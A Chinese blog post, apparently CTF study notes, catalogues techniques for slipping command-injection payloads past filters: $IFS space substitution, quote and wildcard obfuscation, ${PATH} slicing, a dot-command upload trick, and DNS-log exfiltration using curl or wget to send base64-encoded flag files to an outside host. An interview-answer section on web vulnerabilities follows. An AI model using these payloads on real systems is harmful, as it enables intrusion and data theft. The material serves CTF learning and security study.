RCE(远程命令执行)绕过总结

19 篇文章 0 订阅
6 篇文章 0 订阅

目录

前言:

一、常见可代替命令:

二、空格绕过

三、简单符号绕过正则

1、单双引号法

 2、跨行符'\'绕过

四、通配符绕过正则

1、可以通配得到的命令

base64:

 bzip2:

2、字符串通配

五、变量拼接绕过正则

 六、内联执行

 七 、“${}”截取环境变量拼接

八、[]中括号匹配绕过

 九、source命令:

十、无回显rce:

无回显的执行函数:

1、复制到可访问文件

tee命令:

2、dnslog外带数据法

3、反弹shell:


前言:

此文中的RCE绕过方法,都是博主在CTF题目以及渗透实战中所遇到的,可能有疏漏或不对的地方,还望各位大佬多多指出,感谢!

一、常见可代替命令:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
ls:查看目录
dir:查看目录

二、空格绕过

> < <> 重定向符
%20(space)
%09(tab)
$IFS$9 
${IFS}(最好用这个)
$IFS  
%0a  换行符
{cat,flag.txt} 在大括号中逗号可起分隔作用

三、简单符号绕过正则

1、单双引号法

ca''t flag.txt
ca""t flag.txt

b738644831c342c9bb175b5d9e0a6f0f.png

因为单双引号中并没有字符,相当于在其中没有添加任何字符,命令意思不变

 2、跨行符'\'绕过

跨行符的意思为接着上一行的内容,转到下一行接着输入命令,上下行均是一条命令

218b688b8dc44a619374565511e9a986.png

四、通配符绕过正则

通配符可以替代任何字符

shell通配符有:

  • * :表示通配字符0次及以上
  • ? : 表示通配字符0或

1、可以通配得到的命令

base64:

/bin/base64 可以通配为:

/???/????64

作用为将文件以base64编码形式输出

 bzip2:

/usr/bin/bzip2 可以通配为:

/???/???/????2

作用为将文件压缩成后缀为bz2的压缩文件
flag.php ==>  flag.php.bz2

2、字符串通配

flag.php ==> flag.???
             flag*
             ……

当然可以用通配符去通配一些命令,但不能全名称通配

例如:
/bin/ca?
相当于cat命令

五、变量拼接绕过正则

可以在shell语句里定义变量,将被过滤的字符串分成部分绕过

以flag.php为例:

x=lag;cat f$x.php

相当于:

cat flag.php

 六、内联执行

内联执行就是在一条shell语句中内嵌子shell语句,用主shell语句处理子语句的结果

可用于内联语句的符号you ${},``(反引号)

例如:

echo `ls`

echo ${ls}

相当于把ls的结果使用echo输出

 七 、“${}”截取环境变量拼接

关于 ${} 用法可查看我的这篇博客Linux 变量操作符“${}“_linux 变量${}_Elitewa的博客-CSDN博客

例子

${PATH:14:1}${PATH:5:1} flag.txt

在此环境中相当于 nl flag.txt

8d7bcf07ad244b3588e9b0e044c06eba.png

八、[]中括号匹配绕过

例如[a-c] 代表匹配 a-b之间的字符,包括a,b字符本身

匹配范围为当前目录

例子

/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt
 
相当于
/bin/cat flag.txt

因为[]匹配范围只在当前路径
所以要为bin绝对路径

 九、source命令:

source命令,又称点命令,可以用点号( . ),代替

该命令可以读取并执行文件中的命令

可构建文件上传表单,上传命令文件执行

表单为:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

get请求为

?c=.+/???/????????[@-[]

一般来说这个文件在linux下面保存在/tmp/php??????一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)

注意:通过.去执行sh命令不需要有执行权限

可以参考p神的这篇文章无字母数字webshell之提高篇 | 离别歌

十、无回显rce:

无回显的执行函数:

exec()

shell_exec()

`` (反引号)

这些需要php函数echo才可以输出结果

1、复制到可访问文件

tee命令:

tee 命令可用于创建或追加写入文件

可配合cat等打开文件命令和管道符将flag写入到规定文件中

例如

先将根目录复制到某个文件,然后访问查看
ls /| tee ls.txt

然后输入 url/1.txt  即可查看根目录
再复制flag文件,然后访问查看
cat /flag.php | tee flag.txt

然后输入 url/falg.txt  即可查看根目录
还可以使用其他的复制方法
copy /flag.php flag.txt

mv /flag.php flag.txt

2、dnslog外带数据法

需要dnslog平台,可自己搭建

curl dnslog平台url/`cat flag.php|base64`
wget dnslog平台url/`cat flag.php|base64`

3、反弹shell:

以后写提权的时候写

  • 12
    点赞
  • 82
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
当面试官询问我SQL注入、XSS、文件上传以及RCE远程命令执行漏洞的相关知识时,你可以使用以下话术进行回答: 1. 面试官:请介绍一下SQL注入漏洞。 你:SQL注入是一种常见的web应用程序漏洞,攻击者通过在用户输入中插入恶意的SQL代码,成功绕过应用程序的输入验证,从而可以执行未经授权的数据库查询、修改或删除操作。为防止SQL注入攻击,我们需要对用户输入进行严格的验证和过滤,并使用参数化查询或预编译语句来防止恶意SQL代码的执行。 2. 面试官:请解释一下XSS漏洞。 你:XSS(跨站脚本)漏洞是一种允许攻击者将恶意脚本注入到web应用程序的漏洞。当用户浏览包含恶意脚本的页面时,这些脚本会在用户的浏览器上执行,导致攻击者能够窃取用户的登录凭证、修改页面内容或进行其他恶意操作。为了防止XSS攻击,我们需要对用户输入进行合适的验证和过滤,并使用安全的编码方式来输出数据,如HTML转义或使用Content Security Policy(CSP)来限制脚本的执行。 3. 面试官:请讲解一下文件上传漏洞。 你:文件上传漏洞是指在web应用程序中存在未正确验证用户上传文件的安全问题。攻击者可以通过上传带有恶意代码的文件,从而在服务器上执行恶意操作,如执行任意命令、获取敏感数据或远程控制服务器。为了防止文件上传漏洞,我们需要对用户上传的文件进行严格的验证和过滤,限制可上传文件的类型和大小,并在保存、读取和执行文件时采取适当的安全措施。 4. 面试官:请简要说明一下RCE远程命令执行漏洞。 你:RCE远程命令执行)漏洞是一种允许攻击者在受影响的系统上执行任意命令的漏洞。攻击者通过利用应用程序中的安全漏洞,成功注入恶意代码并执行系统命令。这种漏洞可能导致攻击者完全控制受影响的系统,进行敏感数据的窃取、服务器崩溃等恶意行为。为了防止RCE漏洞,我们需要保持应用程序和服务器的补丁更新,进行输入验证和过滤,以及使用安全编码和访问控制机制来限制恶意代码的执行。 请记住,以上是对每种漏洞的简要解释,你可以根据自己的了解和经验进行适当的展开和补充。在回答问题时,尽量用简明扼要的语言表达,并展示你对漏洞原理和相关防御措施的深入理解。祝你面试顺利!
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Elitewa

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值